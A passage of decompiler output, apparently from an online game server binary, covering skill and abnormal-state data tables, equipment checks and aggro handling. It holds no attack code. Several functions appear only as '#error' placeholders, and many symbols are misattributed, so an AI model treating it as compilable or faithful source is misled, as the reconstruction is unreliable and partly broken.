*(_BYTE *)v13++; --v15; } while ( v16 ); if ( !v16 ) { AssertClass::ac_AssertFail( &shineassert, "MiscDataTable::mdt_StateCondition : Invalid Condition", (const char *)v4 + 34); ShineExit("MiscDataTable::mdt_StateCondition"); } v47 = 3; } } v17 = BTree::operator__(&unk_6BD71C, (const char *)v4 + 69); if ( v17 == -1 || (v49 = v17, v17 > 0x261) ) v49 = 609; v18 = *((_WORD *)v4 + 51); LOWORD(v48) = *(_WORD *)((char *)v4 + 67); v19 = (int)((char *)v4 + 1); LOWORD(v50) = v18; v20 = BTree::operator__(&skillnametree, (const char *)v4 + 1); if ( v20 == -1 ) { v21 = (int)((char *)v4 + 1); do { v22 = *(_BYTE *)v21; *(&mapfrom[v21] - v19) = *(_BYTE *)v21; ++v21; } while ( v22 ); v23 = (int)((char *)v4 + 1); do { v24 = *(_BYTE *)v23; *(&mapto[v23] - v19) = *(_BYTE *)v23; ++v23; } while ( v24 ); v25 = &mapto[127]; do v26 = (v25++)[1]; while ( v26 ); v27 = byte_649B1A; *(_WORD *)v25 = *(_WORD *)"01"; v25[2] = v27; v28 = (char *)&mss.mss_StrLen + 3; do v29 = (v28++)[1]; while ( v29 ); v30 = byte_649B16; *(_WORD *)v28 = *(_WORD *)"99"; v44 = (int)mapto; v28[2] = v30; MapSubString::MapSubString(&mss, mapfrom, (char *)v44); v57 = 0; MapSubString::mss_Home(&mss); if ( MapSubString::mss_Next(&mss) ) { v31 = v48; v32 = v50; do { v33 = MapSubString::mss_Get(&mss); v34 = BTree::operator__(&skillnametree, v33); if ( v34 == -1 ) break; v35 = v3->mdt_VarifAbstateSize < 0x32u; v8 = v3->mdt_VarifAbstateSize >= 0x32u; LOWORD(temp) = v34; v52 = (ORToken *)v35; if ( v8 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_StateConditionStore : Too many data", 0); ShineExit("MiscDataTable::mdt_StateConditionStore"); } v36 = (int)&v3->mdt_VarifAbstateArray[v3->mdt_VarifAbstateSize]; v37 = v47; *(_DWORD *)v36 = temp; v38 = v49; *(_DWORD *)(v36 + 4) = v37; *(_DWORD *)(v36 + 8) = v31; *(_DWORD *)(v36 + 12) = v38; *(_DWORD *)(v36 + 16) = v32; ++v3->mdt_VarifAbstateSize; } while ( MapSubString::mss_Next(&mss) ); } v57 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mss); ++k; v2 = 0; } else { LOWORD(temp) = v20; MiscDataTable::mdt_StateConditionStore(v3, (MiscDataTable::MiscData_VarifyByAbstate *)&temp); ++k; v2 = 0; } } qsort(v3->mdt_VarifAbstateArray, v3->mdt_VarifAbstateSize, 0x14u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); __security_check_cookie((unsigned int)&k ^ v56); } // 649B16: using guessed type char byte_649B16; // 649B1A: using guessed type char byte_649B1A; // D4AB34C: using guessed type __int16 MiscDataTable__mdt_DefVarifAbstate; // D4AB350: using guessed type int dword_D4AB350; // D4AB354: using guessed type __int16 word_D4AB354; // D4AB358: using guessed type int dword_D4AB358; // D4AB35C: using guessed type __int16 word_D4AB35C; //----- (0048EB30) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall ListTraveler::operator_>(ListTraveler *this) { List *v1; // edx@1 int v2; // eax@2 AbnormalStateContainer::AbstateElementInObject *result; // eax@3 v1 = this->lt_List; if ( this->lt_CurrElement < v1->l_MaxSize && (v2 = (int)&v1->l_Array[this->lt_CurrElement], *(_BYTE *)(v2 + 8)) ) result = *(AbnormalStateContainer::AbstateElementInObject **)v2; else result = this->lt_Default; return result; } //----- (0048EB60) -------------------------------------------------------- #error "48EB60: undefined or illegal type '#615' (funcsize=101)" //----- (0048ECE0) -------------------------------------------------------- #error "48ECE0: undefined or illegal type '#615' (funcsize=227)" //----- (0048EFA0) -------------------------------------------------------- #error "48EFA0: undefined or illegal type '#615' (funcsize=72)" //----- (0048F0D0) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_SkillBufferAlloc(void *base, const char *flag) { void *v2; // esi@1 unsigned int v3; // eax@1 __int16 v4; // di@1 unsigned int v5; // ST08_4@4 bool v6; // zf@5 unsigned int v7; // ST08_4@8 unsigned int v8; // ST08_4@9 int v9; // [sp+Ch] [bp-90h]@1 int v10; // [sp+10h] [bp-8Ch]@1 __int16 key; // [sp+14h] [bp-88h]@4 unsigned int v12; // [sp+8Ch] [bp-10h]@1 int v13; // [sp+98h] [bp-4h]@1 v2 = base; v12 = (unsigned int)&v9 ^ __security_cookie; v10 = (int)"MiscDataTable::mdt_SkillBufferAlloc"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MiscDataTable::mdt_SkillBufferAlloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MiscDataTable::mdt_SkillBufferAlloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; v3 = BTree::operator__(&skillnametree, flag); v4 = v3; if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBufferAlloc : Imvalid skill name", flag); ShineExit("MiscDataTable::mdt_SkillBufferAlloc"); } v5 = *((_DWORD *)v2 + 3000); key = v3; if ( !bsearch(&key, v2, v5, 0x78u, MobAttackSequence::AttackElement4Mob::ae4m_Compare) ) { v6 = *((_DWORD *)v2 + 3000) >= 0x64u; v9 = *((_DWORD *)v2 + 3000) < 0x64u; if ( v6 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBufferAlloc : Too many Data", 0); ShineExit("MiscDataTable::mdt_SkillBufferAlloc"); } MiscDataTable::MiscData_Skill::mds_Init((int)((char *)v2 + 120 * *((_DWORD *)v2 + 3000)), v4); v7 = *((_DWORD *)v2 + 3000) + 1; *((_DWORD *)v2 + 3000) = v7; qsort(v2, v7, 0x78u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } v8 = *((_DWORD *)v2 + 3000); key = v4; if ( bsearch(&key, v2, v8, 0x78u, MobAttackSequence::AttackElement4Mob::ae4m_Compare) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_SkillBufferAlloc : skillarray error", 0); ShineExit("MiscDataTable::mdt_SkillBufferAlloc"); } --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MiscDataTable::mdt_SkillBufferAlloc"); __security_check_cookie((unsigned int)&v9 ^ v12); } //----- (0048F2A0) -------------------------------------------------------- MiscDataTable::MiscData_AbState *__thiscall MiscDataTable::mdt_AbStateBufferAlloc(MiscDataTable *this, char *index) { MiscDataTable *v2; // esi@1 unsigned int v3; // eax@1 __int16 v4; // di@1 unsigned int v5; // ST08_4@4 int v6; // eax@8 char v7; // cl@8 unsigned int v8; // ST08_4@8 unsigned int v9; // ST08_4@9 void *v10; // esi@9 __int16 key; // [sp+10h] [bp-18h]@4 int v13; // [sp+24h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MiscDataTable::mdt_AbStateBufferAlloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MiscDataTable::mdt_AbStateBufferAlloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; v3 = BTree::operator__(&unk_6BD318, index); v4 = v3; if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateBufferAlloc : Imvalid skill name", index); ShineExit("MiscDataTable::mdt_AbStateBufferAlloc"); } v5 = v2->mdt_AbStateDataSize; key = v3; if ( !bsearch(&key, v2->mdt_AbStateDataArray, v5, 0xCu, MobAttackSequence::AttackElement4Mob::ae4m_Compare) ) { if ( v2->mdt_AbStateDataSize >= 0x32u ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateBufferAlloc : Too many Data", 0); ShineExit("MiscDataTable::mdt_AbStateBufferAlloc"); } v6 = (int)&v2->mdt_AbStateDataArray[v2->mdt_AbStateDataSize]; v7 = v2->mdt_AbStateDataArray[v2->mdt_AbStateDataSize].mdas_ResetCondition._bf0 & 0xF0; *(_WORD *)v6 = v4; *(_BYTE *)(v6 + 2) = v7; *(_DWORD *)(v6 + 4) = 0; *(_DWORD *)(v6 + 8) = 0; v8 = v2->mdt_AbStateDataSize + 1; v2->mdt_AbStateDataSize = v8; qsort((void *)v2->mdt_AbStateDataArray, v8, 0xCu, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } v9 = v2->mdt_AbStateDataSize; key = v4; v10 = bsearch(&key, v2->mdt_AbStateDataArray, v9, 0xCu, MobAttackSequence::AttackElement4Mob::ae4m_Compare); if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_AbStateBufferAlloc : skillarray error", 0); ShineExit("MiscDataTable::mdt_AbStateBufferAlloc"); } --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MiscDataTable::mdt_AbStateBufferAlloc"); return (MiscDataTable::MiscData_AbState *)v10; } //----- (0048F460) -------------------------------------------------------- void __thiscall MobExplosionElement::MobExplosionBase::meb_Vanish(MobExplosionElement::MobExplosionBase *this, int mob) { int sec; // [sp+18h] [bp+8h]@0 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionBase::meb_Vanish"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionBase::meb_Vanish"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( mob ) (*(void (__stdcall **)(int))(*(_DWORD *)mob + 3564))(sec); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionBase::meb_Vanish"); } // 48F460: inconsistent function type and number of purged bytes //----- (0048F500) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Run(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 MiscDataTable::MiscData_AbState *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Run"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_Run"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->aeo_MiscData; if ( v4 && v4->mdas_ResetCondition._bf0 & 1 ) v3->aeo_Tick.terminate = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Run"); return 1; } //----- (0048F570) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Walk(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 MiscDataTable::MiscData_AbState *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Walk"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_Walk"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->aeo_MiscData; if ( v4 && v4->mdas_ResetCondition._bf0 & 2 ) v3->aeo_Tick.terminate = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Walk"); return 1; } //----- (0048F5E0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Attack(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 MiscDataTable::MiscData_AbState *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Attack"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_Attack"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->aeo_MiscData; if ( v4 && v4->mdas_ResetCondition._bf0 & 4 ) v3->aeo_Tick.terminate = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Attack"); return 1; } //----- (0048F650) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Attacked(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 MiscDataTable::MiscData_AbState *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Attacked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_Attacked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->aeo_MiscData; if ( v4 && v4->mdas_ResetCondition._bf0 & 8 ) v3->aeo_Tick.terminate = clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_Attacked"); return 1; } //----- (0048F6C0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange(AbnormalStateContainer::AbstateElementInObject *this, CharacterInventory *inven) { AbnormalStateContainer::AbstateElementInObject *v2; // esi@1 MiscDataTable::MiscData_AbState *v3; // eax@1 int v4; // eax@2 DiceTaiSai *v5; // eax@4 int v6; // eax@5 ItemDataBox::ItemDataBoxIndex *v7; // eax@5 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v10; // [sp+14h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->aeo_MiscData; v10 = 0; if ( !v3 || (v4 = *(_DWORD *)&v3->mdas_ResetEquipment._bf0) == 0 || v4 != 1 || (v5 = (DiceTaiSai *)((int (__stdcall *)(signed int))inven->ci_Equipment.baseclass_0.vfptr->ib_GetInventoryCell)(10)) == 0 ) goto LABEL_7; MoveManager::MoveManager(v5); v7 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v6 + 8)); if ( !v7 ) { v2->aeo_Tick.terminate = clockwatch.cw_CurrTick; LABEL_7: --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange"); return 1; } if ( *(_DWORD *)&v2->aeo_MiscData->gap5[3] != 1 || v7->data->Class == 7 ) goto LABEL_7; v2->aeo_Tick.terminate = clockwatch.cw_CurrTick; v10 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (0048F7D0) -------------------------------------------------------- #error "48F7D0: undefined or illegal type '#593' (funcsize=120)" //----- (0048F970) -------------------------------------------------------- #error "48F970: undefined or illegal type '#593' (funcsize=106)" //----- (0048FAE0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call(AbnormalStateContainer::ListIteratorAbstateEquip *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle) { AbnormalStateContainer::ListIteratorAbstateEquip *v3; // esi@1 char v4; // al@1 char v5; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange(ele, v3->liae_Inven); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call"); return v5; } //----- (0048FB90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // eax@1 int (__stdcall **liae)(int, __int16); // [sp+8h] [bp-14h]@1 char *v5; // [sp+Ch] [bp-10h]@1 int v6; // [sp+18h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; liae = &AbnormalStateContainer::ListIteratorAbstateEquip::_vftable_; v5 = (char *)v1 + 32312; v2 = *(_DWORD *)v1; LOBYTE(v6) = 1; v3 = (*(int (__thiscall **)(void *))(v2 + 1320))(v1); List::l_4AllInList((List *)(v3 + 3240), (ListIteratorDefault *)&liae); --funcallanalizer.fca_stackpoint; liae = &ListIteratorDefault::_vftable_; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip"); } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 64A0FC: using guessed type int (__stdcall *AbnormalStateContainer__ListIteratorAbstateEquip___vftable_)(int ele, __int16 handle); //----- (0048FC60) -------------------------------------------------------- #error "48FC60: undefined or illegal type '#593' (funcsize=36)" //----- (0048FD10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust(void *this, int aggrorate, char *range) { void *v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 int (__stdcall **alaa)(int, int, int); // [sp+8h] [bp-14h]@1 int v7; // [sp+Ch] [bp-10h]@1 int v8; // [sp+18h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&alaa); alaa = &AxialListAggroAdjust::_vftable_; v7 = aggrorate; v4 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v8) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v5, v4, range, 0, (int)&alaa, 0, 65535); LOBYTE(v8) = 0; alaa = &AxialListAggroAdjust::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alaa); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust"); } // 649AB0: using guessed type int (__stdcall *AxialListAggroAdjust___vftable_)(int, int, int distancesquar); //----- (0048FE00) -------------------------------------------------------- #error "48FE00: undefined or illegal type '#593' (funcsize=39)" //----- (0048FEB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon(void *this) { void *v1; // esi@1 bool v2; // zf@1 int v3; // eax@1 int v4; // [sp+0h] [bp-14h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__stdcall **)(int))(**((_DWORD **)v1 + 964) + 64))(v4) == 11; v3 = *(_DWORD *)v1; if ( v2 ) { (*(void (__thiscall **)(void *))(v3 + 2472))(v1); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 2472))(v1, 10); } else { (*(void (__thiscall **)(void *))(v3 + 2472))(v1); } (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 3392))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 3400))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon"); } //----- (0048FF80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(int (**)(void))(**((_DWORD **)v1 + 964) + 64))() == 6 || (*(int (**)(void))(**((_DWORD **)v1 + 964) + 64))() == 1 ) (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v1 + 2472))(v1, 10); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield"); } //----- (00490040) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip(void *this, int equipslot) { void *v2; // esi@1 int v3; // edx@1 DiceTaiSai *v4; // eax@3 DiceTaiSai *v5; // ebx@3 int v6; // eax@4 int v7; // eax@5 ChargedEffectContainer *v8; // ST3C_4@6 int v9; // eax@6 int v10; // edx@6 InventoryLocking::InventoryCellLock *v11; // eax@6 int v12; // eax@8 __int16 v13; // bp@8 void *v14; // eax@8 char *v15; // edi@8 int v16; // eax@8 int v17; // eax@8 int v18; // edi@8 char v19; // al@8 ZoneBaseSession *v20; // eax@9 int v21; // eax@10 int v22; // edx@10 int v23; // eax@10 int v24; // eax@10 int v25; // eax@10 int v26; // edx@10 int v27; // ebp@10 int v28; // eax@10 int v29; // eax@10 int v30; // ebp@10 int v31; // eax@10 int v32; // eax@10 int v33; // eax@10 int v34; // edi@10 int v35; // ebp@10 int v36; // eax@10 int v37; // eax@10 InventoryLocking::InventoryCellLock *v38; // eax@10 char *v39; // [sp+3Ch] [bp-50h]@2 int v40; // [sp+50h] [bp-3Ch]@8 FunctionEntarance _; // [sp+54h] [bp-38h]@1 int v42; // [sp+58h] [bp-34h]@10 int v43; // [sp+5Ch] [bp-30h]@10 void *invcell; // [sp+60h] [bp-2Ch]@8 int emptycelliter; // [sp+64h] [bp-28h]@6 int v46; // [sp+68h] [bp-24h]@10 int v47; // [sp+6Ch] [bp-20h]@10 ItemBoxIterEmpty emptycellitertmp; // [sp+70h] [bp-1Ch]@6 int v49; // [sp+88h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 14470); v49 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, int))(v3 + 16))((char *)v2 + 57880, 8, equipslot) ) { v39 = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"; LABEL_12: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v39); return; } v4 = (DiceTaiSai *)(*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8078))( (char *)v2 + 32312, equipslot); v5 = v4; if ( !v4 || (MoveManager::MoveManager(v4), !v6) || (MoveManager::MoveManager(v5), *(_WORD *)(v7 + 8) == -1) ) { v39 = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"; goto LABEL_12; } v8 = (ChargedEffectContainer *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1172))(v2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1144))(v2); ItemBoxIterEmpty::ItemBoxIterEmpty(&emptycellitertmp, (ItemBag *)(v9 + 3368), v8); v10 = *(_DWORD *)v2; LOBYTE(v49) = 1; v11 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(v10 + 2004))(v2); InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator( (InventoryLocking::UnlockedInventoryIterator *)&emptycelliter, 9, &emptycellitertmp.baseclass_0, v11); LOBYTE(v49) = 2; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&emptycelliter) ) { v12 = InventoryLocking::UnlockedInventoryIterator::uii_Slot((InventoryLocking::UnlockedInventoryIterator *)&emptycelliter); v13 = v12; v14 = (void *)(*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8920))( (char *)v2 + 35680, v12); v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13439; invcell = v14; *((_WORD *)v15 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v15 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v16 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); *((_WORD *)v15 + 9) = AxialListNearGateFind::alngf_Gethandle(v16); v40 = (int)(v15 + 16); *((_WORD *)v15 + 8) = v13 & 0x3FF | 0x2400; MoveManager::MoveManager(v5); *((_DWORD *)v15 + 2) = *(_DWORD *)v17; *((_DWORD *)v15 + 3) = *(_DWORD *)(v17 + 4); v18 = (int)(v15 + 20); *(_WORD *)v18 = equipslot & 0x3FF | 0x2000; v19 = ProtocolPacket::pp_SetPacketLen(&gpp, 22); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v19, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip : Packet Too Long", 22) ) { v20 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v20); } v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); v22 = *(_DWORD *)v2; v42 = v21; v43 = *(_DWORD *)v21; v23 = (*(int (__thiscall **)(void *, int, DiceTaiSai *))(v22 + 2004))(v2, equipslot, v5); LOWORD(v24) = AxialListNearGateFind::alngf_Gethandle(v23); (*(void (__thiscall **)(void *, int))(emptycelliter + 76))(invcell, v24); v25 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); v26 = *(_DWORD *)v2; v27 = *(_DWORD *)v25; v43 = v25; v28 = (*(int (__thiscall **)(void *, DiceTaiSai *, int, int))(v26 + 2004))(v2, v5, v18, v40); LOWORD(v29) = AxialListNearGateFind::alngf_Gethandle(v28); (*(void (__thiscall **)(int, int))(v27 + 48))(v46, v29); v30 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); v43 = *(_DWORD *)v30; MoveManager::MoveManager(v5); v32 = (*(int (__thiscall **)(void *, void *, int, int, int))(*(_DWORD *)v2 + 2004))(v2, invcell, v31, v40, v18); LOWORD(v33) = AxialListNearGateFind::alngf_Gethandle(v32); (*(void (__thiscall **)(int, int))(v47 + 56))(v30, v33); v34 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); v35 = *(_DWORD *)v34; v36 = (*(int (__thiscall **)(void *, int, DiceTaiSai *, signed int, _DWORD))(*(_DWORD *)v2 + 2004))( v2, equipslot, v5, -1, 0); LOWORD(v37) = AxialListNearGateFind::alngf_Gethandle(v36); (*(void (__thiscall **)(int, int))(v35 + 72))(v34, v37); v38 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); InventoryLocking::InventoryCellLock::icl_IncIndex(v38); LOBYTE(v49) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&emptycelliter); LOBYTE(v49) = 0; 